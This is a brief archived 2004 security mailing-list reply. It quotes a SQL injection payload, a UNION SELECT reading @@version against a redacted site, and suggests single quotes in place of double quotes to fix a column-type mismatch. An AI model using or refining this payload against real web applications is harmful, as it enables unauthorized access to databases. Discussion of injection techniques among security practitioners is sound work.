Re: SQL Injection & ncompatible with int issue

From: Martin Eiszner (martin@websec.org)
Date: Sun Jun 13 2004 - 06:32:13 EDT


hi,

On 9 Jun 2004 23:51:06 -0000
Peter Bair <peterbair100@hotmail.com> wrote:

> xxx.xxx.xxx/item='+union select @@version,1,1,1,1,1,1,1,1,1,1,1,1,1,"text"+--

did you try it with ' instead of " ?

mei



This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:56 EDT